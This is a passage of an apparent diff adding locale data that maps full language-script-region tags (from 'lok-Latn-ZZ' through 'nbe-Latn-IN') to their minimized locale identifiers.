+ "lok-Latn-ZZ": "lok",
+ "lol-Latn-CD": "lol",
+ "lom-Latn-LR": "lom",
+ "lon-Latn-MW": "lon",
+ "loo-Latn-CD": "loo",
+ "lop-Latn-NG": "lop",
+ "loq-Latn-CD": "loq",
+ "lor-Latn-ZZ": "lor",
+ "los-Latn-ZZ": "los",
+ "lot-Arab-SS": "lot-Arab",
+ "lot-Latn-SS": "lot",
+ "lou-Latn-US": "lou",
+ "low-Latn-MY": "low",
+ "lox-Latn-ID": "lox",
+ "loy-Deva-NP": "loy",
+ "loy-Tibt-NP": "loy-Tibt",
+ "loz-Latn-ZM": "loz",
+ "lpa-Latn-VU": "lpa",
+ "lpe-Latn-ID": "lpe",
+ "lpn-Latn-MM": "lpn",
+ "lpo-Lisu-CN": "lpo-Lisu",
+ "lpo-Plrd-CN": "lpo",
+ "lpx-Latn-SS": "lpx",
+ "lqr-Latn-SS": "lqr",
+ "lra-Latn-MY": "lra",
+ "lrc-Arab-IR": "lrc",
+ "lrg-Latn-AU": "lrg",
+ "lri-Latn-KE": "lri",
+ "lrk-Arab-PK": "lrk",
+ "lrl-Arab-IR": "lrl",
+ "lrm-Latn-KE": "lrm",
+ "lrn-Latn-ID": "lrn",
+ "lro-Latn-SD": "lro",
+ "lrt-Latn-ID": "lrt",
+ "lrv-Latn-VU": "lrv",
+ "lrz-Latn-VU": "lrz",
+ "lsa-Arab-IR": "lsa",
+ "lsd-Hebr-IL": "lsd",
+ "lse-Latn-CD": "lse",
+ "lsi-Latn-MM": "lsi",
+ "lsm-Latn-UG": "lsm",
+ "lsr-Latn-PG": "lsr",
+ "lss-Arab-PK": "lss",
+ "lt-Latn-LT": "lt",
+ "ltg-Latn-LV": "ltg",
+ "lth-Latn-UG": "lth",
+ "lti-Latn-ID": "lti",
+ "ltn-Latn-BR": "ltn",
+ "lto-Latn-KE": "lto",
+ "lts-Latn-KE": "lts",
+ "ltu-Latn-ID": "ltu",
+ "lu-Latn-CD": "lu",
+ "lua-Latn-CD": "lua",
+ "luc-Latn-UG": "luc",
+ "lud-Latn-RU": "lud",
+ "lue-Latn-ZM": "lue",
+ "luf-Latn-PG": "luf",
+ "lui-Latn-US": "lui",
+ "luj-Latn-CD": "luj",
+ "luk-Tibt-BT": "luk",
+ "lul-Latn-SS": "lul",
+ "lum-Latn-AO": "lum",
+ "lun-Latn-ZM": "lun",
+ "luo-Latn-KE": "luo",
+ "lup-Latn-GA": "lup",
+ "luq-Latn-CU": "luq",
+ "lur-Latn-ID": "lur",
+ "lus-Beng-BD": "lus-Beng",
+ "lus-Brai-IN": "lus-Brai",
+ "lus-Latn-IN": "lus",
+ "lut-Latn-US": "lut",
+ "luu-Deva-NP": "luu",
+ "luv-Arab-OM": "luv",
+ "luw-Latn-CM": "luw",
+ "luy-Latn-KE": "luy",
+ "luz-Arab-IR": "luz",
+ "lv-Latn-LV": "lv",
+ "lva-Latn-TL": "lva",
+ "lvi-Latn-LA": "lvi",
+ "lvk-Latn-SB": "lvk",
+ "lvu-Latn-ID": "lvu",
+ "lwa-Latn-CD": "lwa",
+ "lwe-Latn-ID": "lwe",
+ "lwg-Latn-KE": "lwg",
+ "lwh-Latn-VN": "lwh",
+ "lwl-Thai-TH": "lwl",
+ "lwm-Thai-CN": "lwm",
+ "lwo-Latn-SS": "lwo",
+ "lwo-Latn-ZA": "lwo-ZA",
+ "lwt-Latn-ID": "lwt",
+ "lww-Latn-VU": "lww",
+ "lxm-Latn-PG": "lxm",
+ "lya-Tibt-BT": "lya",
+ "lyn-Latn-ZM": "lyn",
+ "lzh-Hans-CN": "lzh",
+ "lzh-Phag-CN": "lzh-Phag",
+ "lzl-Latn-VU": "lzl",
+ "lzn-Latn-MM": "lzn",
+ "lzz-Latn-TR": "lzz",
+ "maa-Latn-MX": "maa",
+ "mab-Latn-MX": "mab",
+ "mad-Latn-ID": "mad",
+ "mae-Latn-NG": "mae",
+ "maf-Latn-CM": "maf",
+ "mag-Deva-IN": "mag",
+ "mai-Deva-IN": "mai",
+ "mai-Tirh-IN": "mai-Tirh",
+ "maj-Latn-MX": "maj",
+ "mak-Latn-ID": "mak",
+ "mak-Maka-ID": "mak-Maka",
+ "mam-Latn-GT": "mam",
+ "man-Latn-GM": "man",
+ "man-Nkoo-GN": "man-GN",
+ "maq-Latn-MX": "maq",
+ "mas-Latn-KE": "mas",
+ "mat-Latn-MX": "mat",
+ "mau-Latn-MX": "mau",
+ "mav-Latn-BR": "mav",
+ "maw-Latn-ZZ": "maw",
+ "max-Latn-ID": "max",
+ "maz-Latn-MX": "maz",
+ "mba-Latn-PH": "mba",
+ "mbb-Latn-PH": "mbb",
+ "mbc-Latn-BR": "mbc",
+ "mbd-Latn-PH": "mbd",
+ "mbf-Latn-SG": "mbf",
+ "mbh-Latn-ZZ": "mbh",
+ "mbi-Latn-PH": "mbi",
+ "mbj-Latn-BR": "mbj",
+ "mbk-Latn-PG": "mbk",
+ "mbl-Latn-BR": "mbl",
+ "mbm-Latn-CG": "mbm",
+ "mbn-Latn-CO": "mbn",
+ "mbo-Latn-ZZ": "mbo",
+ "mbp-Latn-CO": "mbp",
+ "mbq-Latn-ZZ": "mbq",
+ "mbr-Latn-CO": "mbr",
+ "mbs-Latn-PH": "mbs",
+ "mbt-Latn-PH": "mbt",
+ "mbu-Latn-ZZ": "mbu",
+ "mbv-Latn-GN": "mbv",
+ "mbw-Latn-ZZ": "mbw",
+ "mbx-Latn-PG": "mbx",
+ "mby-Arab-PK": "mby",
+ "mbz-Latn-MX": "mbz",
+ "mca-Latn-PY": "mca",
+ "mcb-Latn-PE": "mcb",
+ "mcc-Latn-PG": "mcc",
+ "mcd-Latn-PE": "mcd",
+ "mce-Latn-MX": "mce",
+ "mcf-Latn-PE": "mcf",
+ "mcg-Latn-VE": "mcg",
+ "mch-Latn-VE": "mch",
+ "mci-Latn-ZZ": "mci",
+ "mcj-Latn-NG": "mcj",
+ "mck-Latn-AO": "mck",
+ "mcl-Latn-CO": "mcl",
+ "mcm-Latn-MY": "mcm",
+ "mcn-Latn-TD": "mcn",
+ "mco-Latn-MX": "mco",
+ "mcp-Latn-ZZ": "mcp",
+ "mcq-Latn-ZZ": "mcq",
+ "mcr-Latn-ZZ": "mcr",
+ "mcs-Latn-CM": "mcs",
+ "mct-Latn-CM": "mct",
+ "mcu-Latn-ZZ": "mcu",
+ "mcv-Latn-PG": "mcv",
+ "mcw-Latn-TD": "mcw",
+ "mcx-Latn-CF": "mcx",
+ "mcy-Latn-PG": "mcy",
+ "mcz-Latn-PG": "mcz",
+ "mda-Latn-ZZ": "mda",
+ "mdb-Latn-PG": "mdb",
+ "mdc-Latn-PG": "mdc",
+ "mdd-Latn-CM": "mdd",
+ "mde-Arab-ZZ": "mde",
+ "mdf-Cyrl-RU": "mdf",
+ "mdg-Latn-TD": "mdg",
+ "mdh-Latn-PH": "mdh",
+ "mdi-Latn-CD": "mdi",
+ "mdj-Latn-ZZ": "mdj",
+ "mdk-Latn-CD": "mdk",
+ "mdm-Latn-CD": "mdm",
+ "mdn-Latn-CF": "mdn",
+ "mdp-Latn-CD": "mdp",
+ "mdq-Latn-CD": "mdq",
+ "mdr-Latn-ID": "mdr",
+ "mds-Latn-PG": "mds",
+ "mdt-Latn-CG": "mdt",
+ "mdu-Latn-CG": "mdu",
+ "mdv-Latn-MX": "mdv",
+ "mdw-Latn-CG": "mdw",
+ "mdx-Ethi-ZZ": "mdx",
+ "mdy-Ethi-ET": "mdy",
+ "mdy-Latn-ET": "mdy-Latn",
+ "mdz-Latn-BR": "mdz",
+ "mea-Latn-CM": "mea",
+ "meb-Latn-PG": "meb",
+ "mec-Latn-AU": "mec",
+ "med-Latn-ZZ": "med",
+ "mee-Latn-ZZ": "mee",
+ "meh-Latn-MX": "meh",
+ "mej-Latn-ID": "mej",
+ "mek-Latn-ZZ": "mek",
+ "mel-Latn-MY": "mel",
+ "mem-Latn-AU": "mem",
+ "men-Latn-SL": "men",
+ "men-Mend-SL": "men-Mend",
+ "meo-Arab-MY": "meo-Arab",
+ "meo-Latn-MY": "meo",
+ "mep-Latn-AU": "mep",
+ "meq-Latn-CM": "meq",
+ "mer-Latn-KE": "mer",
+ "mes-Latn-TD": "mes",
+ "met-Latn-ZZ": "met",
+ "meu-Latn-ZZ": "meu",
+ "mev-Latn-LR": "mev",
+ "mew-Latn-NG": "mew",
+ "mey-Arab-MR": "mey-Arab",
+ "mey-Latn-MR": "mey",
+ "mez-Latn-US": "mez",
+ "mfa-Arab-TH": "mfa",
+ "mfb-Latn-ID": "mfb",
+ "mfc-Latn-CD": "mfc",
+ "mfd-Latn-CM": "mfd",
+ "mfe-Latn-MU": "mfe",
+ "mff-Latn-CM": "mff",
+ "mfg-Arab-GN": "mfg-Arab",
+ "mfg-Latn-GN": "mfg",
+ "mfh-Latn-CM": "mfh",
+ "mfi-Arab-CM": "mfi",
+ "mfi-Latn-CM": "mfi-Latn",
+ "mfj-Latn-CM": "mfj",
+ "mfk-Latn-CM": "mfk",
+ "mfl-Latn-NG": "mfl",
+ "mfm-Latn-NG": "mfm",
+ "mfn-Latn-ZZ": "mfn",
+ "mfo-Latn-ZZ": "mfo",
+ "mfp-Latn-ID": "mfp",
+ "mfq-Latn-ZZ": "mfq",
+ "mfr-Latn-AU": "mfr",
+ "mft-Latn-PG": "mft",
+ "mfu-Latn-AO": "mfu",
+ "mfv-Latn-GW": "mfv",
+ "mfw-Latn-PG": "mfw",
+ "mfx-Ethi-ET": "mfx-Ethi",
+ "mfx-Latn-ET": "mfx",
+ "mfy-Latn-MX": "mfy",
+ "mfz-Latn-SS": "mfz",
+ "mg-Latn-MG": "mg",
+ "mgb-Latn-TD": "mgb",
+ "mgc-Latn-SS": "mgc",
+ "mgd-Arab-SS": "mgd-Arab",
+ "mgd-Latn-SS": "mgd",
+ "mge-Latn-TD": "mge",
+ "mgf-Latn-ID": "mgf",
+ "mgg-Latn-CM": "mgg",
+ "mgh-Latn-MZ": "mgh",
+ "mgi-Latn-NG": "mgi",
+ "mgj-Latn-NG": "mgj",
+ "mgk-Latn-ID": "mgk",
+ "mgl-Latn-ZZ": "mgl",
+ "mgm-Latn-TL": "mgm",
+ "mgn-Latn-CF": "mgn",
+ "mgo-Latn-CM": "mgo",
+ "mgp-Deva-NP": "mgp",
+ "mgq-Latn-TZ": "mgq",
+ "mgr-Latn-ZM": "mgr",
+ "mgs-Latn-TZ": "mgs",
+ "mgt-Latn-PG": "mgt",
+ "mgu-Latn-PG": "mgu",
+ "mgv-Latn-TZ": "mgv",
+ "mgw-Latn-TZ": "mgw",
+ "mgy-Latn-TZ": "mgy",
+ "mgz-Latn-TZ": "mgz",
+ "mh-Latn-MH": "mh",
+ "mhb-Latn-GA": "mhb",
+ "mhc-Latn-MX": "mhc",
+ "mhd-Latn-TZ": "mhd",
+ "mhe-Latn-MY": "mhe",
+ "mhf-Latn-PG": "mhf",
+ "mhg-Latn-AU": "mhg",
+ "mhi-Latn-ZZ": "mhi",
+ "mhj-Arab-AF": "mhj",
+ "mhk-Latn-CM": "mhk",
+ "mhl-Latn-ZZ": "mhl",
+ "mhm-Latn-MZ": "mhm",
+ "mhn-Latn-IT": "mhn",
+ "mho-Latn-ZM": "mho",
+ "mhp-Latn-ID": "mhp",
+ "mhq-Latn-US": "mhq",
+ "mhs-Latn-ID": "mhs",
+ "mht-Latn-VE": "mht",
+ "mhu-Latn-IN": "mhu",
+ "mhw-Latn-BW": "mhw",
+ "mhx-Latn-MM": "mhx",
+ "mhy-Latn-ID": "mhy",
+ "mhz-Latn-ID": "mhz",
+ "mi-Latn-NZ": "mi",
+ "mia-Latn-US": "mia",
+ "mib-Latn-MX": "mib",
+ "mic-Latn-CA": "mic",
+ "mid-Mand-IQ": "mid",
+ "mie-Latn-MX": "mie",
+ "mif-Latn-ZZ": "mif",
+ "mig-Latn-MX": "mig",
+ "mih-Latn-MX": "mih",
+ "mii-Latn-MX": "mii",
+ "mij-Latn-CM": "mij",
+ "mik-Latn-US": "mik",
+ "mil-Latn-MX": "mil",
+ "mim-Latn-MX": "mim",
+ "min-Latn-ID": "min",
+ "mio-Latn-MX": "mio",
+ "mip-Latn-MX": "mip",
+ "miq-Latn-NI": "miq",
+ "mir-Latn-MX": "mir",
+ "mit-Latn-MX": "mit",
+ "miu-Latn-MX": "miu",
+ "miw-Latn-ZZ": "miw",
+ "mix-Latn-MX": "mix",
+ "miy-Latn-MX": "miy",
+ "miz-Latn-MX": "miz",
+ "mjb-Latn-TL": "mjb",
+ "mjc-Latn-MX": "mjc",
+ "mjd-Latn-US": "mjd",
+ "mje-Latn-TD": "mje",
+ "mjg-Latn-CN": "mjg",
+ "mjh-Latn-TZ": "mjh",
+ "mji-Latn-CN": "mji",
+ "mjj-Latn-PG": "mjj",
+ "mjk-Latn-PG": "mjk",
+ "mjl-Deva-IN": "mjl",
+ "mjl-Takr-IN": "mjl-Takr",
+ "mjm-Latn-PG": "mjm",
+ "mjn-Latn-PG": "mjn",
+ "mjq-Mlym-IN": "mjq",
+ "mjr-Mlym-IN": "mjr",
+ "mjs-Latn-NG": "mjs",
+ "mjt-Beng-BD": "mjt-Beng",
+ "mjt-Deva-IN": "mjt",
+ "mju-Telu-IN": "mju",
+ "mjv-Mlym-IN": "mjv",
+ "mjw-Latn-IN": "mjw",
+ "mjx-Beng-BD": "mjx-Beng",
+ "mjx-Latn-BD": "mjx",
+ "mjy-Latn-US": "mjy",
+ "mjz-Deva-NP": "mjz",
+ "mk-Cyrl-AL": "mk-AL",
+ "mk-Cyrl-GR": "mk-GR",
+ "mk-Cyrl-MK": "mk",
+ "mka-Latn-CI": "mka",
+ "mkb-Deva-IN": "mkb",
+ "mkc-Latn-PG": "mkc",
+ "mke-Deva-IN": "mke",
+ "mkf-Latn-NG": "mkf",
+ "mki-Arab-ZZ": "mki",
+ "mkj-Latn-FM": "mkj",
+ "mkk-Latn-CM": "mkk",
+ "mkl-Latn-ZZ": "mkl",
+ "mkm-Thai-TH": "mkm",
+ "mkn-Latn-ID": "mkn",
+ "mko-Latn-NG": "mko",
+ "mkp-Latn-ZZ": "mkp",
+ "mkr-Latn-PG": "mkr",
+ "mks-Latn-MX": "mks",
+ "mkt-Latn-NC": "mkt",
+ "mku-Latn-GN": "mku",
+ "mkv-Latn-VU": "mkv",
+ "mkw-Latn-ZZ": "mkw",
+ "mkx-Latn-PH": "mkx",
+ "mky-Latn-ID": "mky",
+ "mkz-Latn-TL": "mkz",
+ "ml-Mlym-IN": "ml",
+ "mla-Latn-VU": "mla",
+ "mlb-Latn-CM": "mlb",
+ "mlc-Latn-VN": "mlc",
+ "mle-Latn-ZZ": "mle",
+ "mlf-Latn-LA": "mlf-Latn",
+ "mlf-Thai-LA": "mlf",
+ "mlh-Latn-PG": "mlh",
+ "mli-Latn-ID": "mli",
+ "mlj-Latn-TD": "mlj",
+ "mlk-Latn-KE": "mlk",
+ "mll-Latn-VU": "mll",
+ "mln-Latn-SB": "mln",
+ "mlo-Latn-SN": "mlo",
+ "mlp-Latn-ZZ": "mlp",
+ "mlq-Arab-SN": "mlq-Arab",
+ "mlq-Latn-SN": "mlq",
+ "mlr-Latn-CM": "mlr",
+ "mls-Latn-SD": "mls",
+ "mlu-Latn-SB": "mlu",
+ "mlv-Latn-VU": "mlv",
+ "mlw-Latn-CM": "mlw",
+ "mlx-Latn-VU": "mlx",
+ "mlz-Latn-PH": "mlz",
+ "mma-Latn-NG": "mma",
+ "mmb-Latn-ID": "mmb",
+ "mmc-Latn-MX": "mmc",
+ "mmd-Hans-CN": "mmd-Hans",
+ "mmd-Hant-CN": "mmd-Hant",
+ "mmd-Latn-CN": "mmd",
+ "mme-Latn-VU": "mme",
+ "mmf-Latn-NG": "mmf",
+ "mmg-Latn-VU": "mmg",
+ "mmh-Latn-BR": "mmh",
+ "mmi-Latn-PG": "mmi",
+ "mmm-Latn-VU": "mmm",
+ "mmn-Latn-PH": "mmn",
+ "mmo-Latn-ZZ": "mmo",
+ "mmp-Latn-PG": "mmp",
+ "mmq-Latn-PG": "mmq",
+ "mmr-Latn-CN": "mmr",
+ "mmt-Latn-PG": "mmt",
+ "mmu-Latn-ZZ": "mmu",
+ "mmv-Latn-BR": "mmv",
+ "mmw-Latn-VU": "mmw",
+ "mmx-Latn-ZZ": "mmx",
+ "mmy-Latn-TD": "mmy",
+ "mmz-Latn-CD": "mmz",
+ "mn-Cyrl-MN": "mn",
+ "mn-Mong-CN": "mn-CN",
+ "mna-Latn-ZZ": "mna",
+ "mnb-Latn-ID": "mnb",
+ "mnd-Latn-BR": "mnd",
+ "mne-Latn-TD": "mne",
+ "mnf-Latn-ZZ": "mnf",
+ "mng-Latn-VN": "mng",
+ "mnh-Latn-CD": "mnh",
+ "mni-Beng-IN": "mni",
+ "mni-Mtei-IN": "mni-Mtei",
+ "mnj-Arab-AF": "mnj",
+ "mnl-Latn-VU": "mnl",
+ "mnm-Latn-PG": "mnm",
+ "mnn-Latn-VN": "mnn",
+ "mnp-Latn-CN": "mnp",
+ "mnq-Latn-MY": "mnq",
+ "mnr-Latn-US": "mnr",
+ "mns-Cyrl-RU": "mns",
+ "mnu-Latn-ID": "mnu",
+ "mnv-Latn-SB": "mnv",
+ "mnw-Mymr-MM": "mnw",
+ "mnw-Mymr-TH": "mnw-TH",
+ "mnx-Latn-ID": "mnx",
+ "mny-Latn-MZ": "mny",
+ "mnz-Latn-ID": "mnz",
+ "moa-Latn-ZZ": "moa",
+ "moc-Latn-AR": "moc",
+ "mod-Latn-US": "mod",
+ "moe-Latn-CA": "moe",
+ "mog-Latn-ID": "mog",
+ "moh-Latn-CA": "moh",
+ "moi-Latn-NG": "moi",
+ "moj-Latn-CG": "moj",
+ "mok-Latn-ID": "mok",
+ "mom-Latn-NI": "mom",
+ "moo-Latn-VN": "moo",
+ "mop-Latn-BZ": "mop",
+ "moq-Latn-ID": "moq",
+ "mor-Latn-SD": "mor",
+ "mos-Latn-BF": "mos",
+ "mot-Latn-CO": "mot",
+ "mou-Latn-TD": "mou",
+ "mov-Latn-US": "mov",
+ "mow-Latn-CG": "mow",
+ "mox-Latn-ZZ": "mox",
+ "moy-Ethi-ET": "moy-Ethi",
+ "moy-Latn-ET": "moy",
+ "moz-Latn-TD": "moz",
+ "mpa-Latn-TZ": "mpa",
+ "mpb-Latn-AU": "mpb",
+ "mpc-Latn-AU": "mpc",
+ "mpd-Latn-BR": "mpd",
+ "mpe-Ethi-ET": "mpe-Ethi",
+ "mpe-Latn-ET": "mpe",
+ "mpg-Latn-TD": "mpg",
+ "mph-Latn-AU": "mph",
+ "mpi-Latn-CM": "mpi",
+ "mpj-Latn-AU": "mpj",
+ "mpk-Latn-TD": "mpk",
+ "mpl-Latn-PG": "mpl",
+ "mpm-Latn-MX": "mpm",
+ "mpn-Latn-PG": "mpn",
+ "mpo-Latn-PG": "mpo",
+ "mpp-Latn-ZZ": "mpp",
+ "mpq-Latn-BR": "mpq",
+ "mpr-Latn-SB": "mpr",
+ "mps-Latn-ZZ": "mps",
+ "mpt-Latn-ZZ": "mpt",
+ "mpu-Latn-BR": "mpu",
+ "mpv-Latn-PG": "mpv",
+ "mpw-Latn-BR": "mpw",
+ "mpx-Latn-ZZ": "mpx",
+ "mpy-Latn-ID": "mpy",
+ "mpz-Thai-TH": "mpz",
+ "mqa-Latn-ID": "mqa",
+ "mqb-Latn-CM": "mqb",
+ "mqc-Latn-ID": "mqc",
+ "mqe-Latn-PG": "mqe",
+ "mqf-Latn-ID": "mqf",
+ "mqg-Latn-ID": "mqg",
+ "mqh-Latn-MX": "mqh",
+ "mqi-Latn-ID": "mqi",
+ "mqj-Latn-ID": "mqj",
+ "mqk-Latn-PH": "mqk",
+ "mql-Latn-ZZ": "mql",
+ "mqm-Latn-PF": "mqm",
+ "mqn-Latn-ID": "mqn",
+ "mqo-Latn-ID": "mqo",
+ "mqp-Latn-ID": "mqp",
+ "mqq-Latn-MY": "mqq",
+ "mqr-Latn-ID": "mqr",
+ "mqs-Latn-ID": "mqs",
+ "mqu-Latn-SS": "mqu",
+ "mqv-Latn-PG": "mqv",
+ "mqw-Latn-PG": "mqw",
+ "mqx-Bugi-ID": "mqx-Bugi",
+ "mqx-Latn-ID": "mqx",
+ "mqy-Latn-ID": "mqy",
+ "mqz-Latn-PG": "mqz",
+ "mr-Deva-IN": "mr",
+ "mr-Modi-IN": "mr-Modi",
+ "mra-Thai-TH": "mra",
+ "mrb-Latn-VU": "mrb",
+ "mrc-Latn-US": "mrc",
+ "mrd-Deva-NP": "mrd",
+ "mrf-Latn-ID": "mrf",
+ "mrg-Beng-IN": "mrg-Beng",
+ "mrg-Deva-IN": "mrg-Deva",
+ "mrg-Latn-IN": "mrg",
+ "mrh-Latn-IN": "mrh",
+ "mrj-Cyrl-RU": "mrj",
+ "mrk-Latn-NC": "mrk",
+ "mrl-Latn-FM": "mrl",
+ "mrm-Latn-VU": "mrm",
+ "mrn-Latn-SB": "mrn",
+ "mro-Mroo-BD": "mro",
+ "mrp-Latn-VU": "mrp",
+ "mrq-Latn-PF": "mrq",
+ "mrr-Deva-IN": "mrr",
+ "mrs-Latn-VU": "mrs",
+ "mrt-Latn-NG": "mrt",
+ "mru-Latn-CM": "mru",
+ "mrv-Latn-PF": "mrv",
+ "mrw-Arab-PH": "mrw-Arab",
+ "mrw-Latn-PH": "mrw",
+ "mrx-Latn-ID": "mrx",
+ "mry-Latn-PH": "mry",
+ "mrz-Latn-ID": "mrz",
+ "ms-Arab-CC": "ms-CC",
+ "ms-Arab-ID": "ms-Arab-ID",
+ "ms-Latn-BN": "ms-BN",
+ "ms-Latn-MY": "ms",
+ "msb-Latn-PH": "msb",
+ "msc-Latn-GN": "msc",
+ "mse-Latn-TD": "mse",
+ "msf-Latn-ID": "msf",
+ "msg-Latn-ID": "msg",
+ "msh-Latn-MG": "msh",
+ "msi-Latn-MY": "msi",
+ "msj-Latn-CD": "msj",
+ "msk-Latn-PH": "msk",
+ "msl-Latn-ID": "msl",
+ "msm-Latn-PH": "msm",
+ "msn-Latn-VU": "msn",
+ "mso-Latn-ID": "mso",
+ "msp-Latn-BR": "msp",
+ "msq-Latn-NC": "msq",
+ "mss-Latn-ID": "mss",
+ "msu-Latn-PG": "msu",
+ "msv-Latn-CM": "msv",
+ "msw-Latn-GW": "msw",
+ "msx-Latn-PG": "msx",
+ "msy-Latn-PG": "msy",
+ "msz-Latn-PG": "msz",
+ "mt-Latn-MT": "mt",
+ "mta-Latn-PH": "mta",
+ "mtb-Latn-CI": "mtb",
+ "mtc-Latn-ZZ": "mtc",
+ "mtd-Latn-ID": "mtd",
+ "mte-Latn-SB": "mte",
+ "mtf-Latn-ZZ": "mtf",
+ "mtg-Latn-ID": "mtg",
+ "mth-Latn-ID": "mth",
+ "mti-Latn-ZZ": "mti",
+ "mtj-Latn-ID": "mtj",
+ "mtk-Latn-CM": "mtk",
+ "mtl-Latn-NG": "mtl",
+ "mtm-Cyrl-RU": "mtm",
+ "mtn-Latn-NI": "mtn",
+ "mto-Latn-MX": "mto",
+ "mtp-Latn-BO": "mtp",
+ "mtq-Latn-VN": "mtq",
+ "mtr-Deva-IN": "mtr",
+ "mts-Latn-PE": "mts",
+ "mtt-Latn-VU": "mtt",
+ "mtu-Latn-MX": "mtu",
+ "mtv-Latn-PG": "mtv",
+ "mtw-Latn-PH": "mtw",
+ "mtx-Latn-MX": "mtx",
+ "mty-Latn-PG": "mty",
+ "mua-Latn-CM": "mua",
+ "mub-Latn-TD": "mub",
+ "muc-Latn-CM": "muc",
+ "mud-Cyrl-RU": "mud",
+ "mue-Latn-EC": "mue",
+ "mug-Latn-CM": "mug",
+ "muh-Latn-SS": "muh",
+ "mui-Latn-ID": "mui",
+ "muj-Latn-TD": "muj",
+ "muk-Tibt-NP": "muk",
+ "mum-Latn-PG": "mum",
+ "muo-Latn-CM": "muo",
+ "muq-Latn-CN": "muq",
+ "mur-Latn-ZZ": "mur",
+ "mus-Latn-US": "mus",
+ "mut-Deva-IN": "mut",
+ "muu-Latn-KE": "muu",
+ "muv-Taml-IN": "muv",
+ "mux-Latn-PG": "mux",
+ "muy-Latn-CM": "muy",
+ "muz-Ethi-ET": "muz",
+ "muz-Latn-ET": "muz-Latn",
+ "mva-Latn-ZZ": "mva",
+ "mvd-Latn-ID": "mvd",
+ "mvf-Mong-CN": "mvf",
+ "mvf-Phag-CN": "mvf-Phag",
+ "mvg-Latn-MX": "mvg",
+ "mvh-Latn-TD": "mvh",
+ "mvk-Latn-PG": "mvk",
+ "mvl-Latn-AU": "mvl",
+ "mvn-Latn-ZZ": "mvn",
+ "mvo-Latn-SB": "mvo",
+ "mvp-Latn-ID": "mvp",
+ "mvq-Latn-PG": "mvq",
+ "mvr-Latn-ID": "mvr",
+ "mvs-Latn-ID": "mvs",
+ "mvt-Latn-VU": "mvt",
+ "mvu-Latn-TD": "mvu",
+ "mvv-Latn-MY": "mvv",
+ "mvw-Latn-TZ": "mvw",
+ "mvx-Latn-ID": "mvx",
+ "mvy-Arab-PK": "mvy",
+ "mvz-Arab-ET": "mvz-Arab",
+ "mvz-Ethi-ET": "mvz",
+ "mwa-Latn-PG": "mwa",
+ "mwb-Latn-PG": "mwb",
+ "mwc-Latn-PG": "mwc",
+ "mwe-Latn-TZ": "mwe",
+ "mwf-Latn-AU": "mwf",
+ "mwg-Latn-PG": "mwg",
+ "mwh-Latn-PG": "mwh",
+ "mwi-Latn-VU": "mwi",
+ "mwk-Latn-ML": "mwk",
+ "mwl-Latn-PT": "mwl",
+ "mwm-Latn-TD": "mwm",
+ "mwn-Latn-ZM": "mwn",
+ "mwo-Latn-VU": "mwo",
+ "mwp-Latn-AU": "mwp",
+ "mwq-Latn-MM": "mwq",
+ "mwr-Deva-IN": "mwr",
+ "mws-Latn-KE": "mws",
+ "mwt-Mymr-MM": "mwt",
+ "mwt-Thai-TH": "mwt-Thai",
+ "mwu-Latn-SS": "mwu",
+ "mwv-Latn-ID": "mwv",
+ "mww-Hmnp-US": "mww",
+ "mwz-Latn-CD": "mwz",
+ "mxa-Latn-MX": "mxa",
+ "mxb-Latn-MX": "mxb",
+ "mxc-Latn-ZW": "mxc",
+ "mxd-Latn-ID": "mxd",
+ "mxe-Latn-VU": "mxe",
+ "mxf-Latn-CM": "mxf",
+ "mxg-Latn-AO": "mxg",
+ "mxh-Latn-CD": "mxh",
+ "mxi-Latn-ES": "mxi",
+ "mxj-Latn-IN": "mxj",
+ "mxk-Latn-PG": "mxk",
+ "mxl-Latn-BJ": "mxl",
+ "mxm-Latn-ZZ": "mxm",
+ "mxn-Latn-ID": "mxn",
+ "mxo-Latn-ZM": "mxo",
+ "mxp-Latn-MX": "mxp",
+ "mxq-Latn-MX": "mxq",
+ "mxr-Latn-MY": "mxr",
+ "mxs-Latn-MX": "mxs",
+ "mxt-Latn-MX": "mxt",
+ "mxu-Latn-CM": "mxu",
+ "mxv-Latn-MX": "mxv",
+ "mxw-Latn-PG": "mxw",
+ "mxx-Latn-CI": "mxx",
+ "mxy-Latn-MX": "mxy",
+ "mxz-Latn-ID": "mxz",
+ "my-Mymr-MM": "my",
+ "myb-Latn-TD": "myb",
+ "myc-Latn-CD": "myc",
+ "mye-Latn-GA": "mye",
+ "myf-Latn-ET": "myf",
+ "myg-Latn-CM": "myg",
+ "myh-Latn-US": "myh",
+ "myj-Latn-SS": "myj",
+ "myk-Latn-ZZ": "myk",
+ "myl-Latn-ID": "myl",
+ "mym-Ethi-ZZ": "mym",
+ "myp-Latn-BR": "myp",
+ "myr-Latn-PE": "myr",
+ "myu-Latn-BR": "myu",
+ "myv-Cyrl-RU": "myv",
+ "myw-Latn-ZZ": "myw",
+ "myx-Latn-UG": "myx",
+ "myy-Latn-CO": "myy",
+ "myz-Mand-IR": "myz",
+ "mza-Latn-MX": "mza",
+ "mzd-Latn-CM": "mzd",
+ "mze-Latn-PG": "mze",
+ "mzh-Latn-AR": "mzh",
+ "mzi-Latn-MX": "mzi",
+ "mzj-Latn-LR": "mzj",
+ "mzk-Latn-ZZ": "mzk",
+ "mzl-Latn-MX": "mzl",
+ "mzm-Latn-ZZ": "mzm",
+ "mzn-Arab-IR": "mzn",
+ "mzo-Latn-BR": "mzo",
+ "mzp-Latn-ZZ": "mzp",
+ "mzq-Latn-ID": "mzq",
+ "mzr-Latn-BR": "mzr",
+ "mzt-Latn-MY": "mzt",
+ "mzu-Latn-PG": "mzu",
+ "mzv-Latn-CF": "mzv",
+ "mzw-Latn-ZZ": "mzw",
+ "mzx-Latn-GY": "mzx",
+ "mzz-Latn-ZZ": "mzz",
+ "na-Latn-NR": "na",
+ "naa-Latn-ID": "naa",
+ "nab-Latn-BR": "nab",
+ "nac-Latn-ZZ": "nac",
+ "nae-Latn-ID": "nae",
+ "naf-Latn-ZZ": "naf",
+ "nag-Latn-IN": "nag",
+ "naj-Latn-GN": "naj",
+ "nak-Latn-ZZ": "nak",
+ "nal-Latn-PG": "nal",
+ "nam-Latn-AU": "nam",
+ "nan-Hans-CN": "nan",
+ "nao-Deva-NP": "nao",
+ "nap-Latn-IT": "nap",
+ "naq-Latn-NA": "naq",
+ "nar-Latn-NG": "nar",
+ "nas-Latn-ZZ": "nas",
+ "nat-Latn-NG": "nat",
+ "naw-Latn-GH": "naw",
+ "nax-Latn-PG": "nax",
+ "nay-Latn-AU": "nay",
+ "naz-Latn-MX": "naz",
+ "nb-Latn-NO": "nb",
+ "nb-Latn-SJ": "nb-SJ",
+ "nba-Latn-AO": "nba",
+ "nbb-Latn-NG": "nbb",
+ "nbc-Latn-IN": "nbc",
+ "nbd-Latn-CD": "nbd",
+ "nbe-Latn-IN": "nbe",
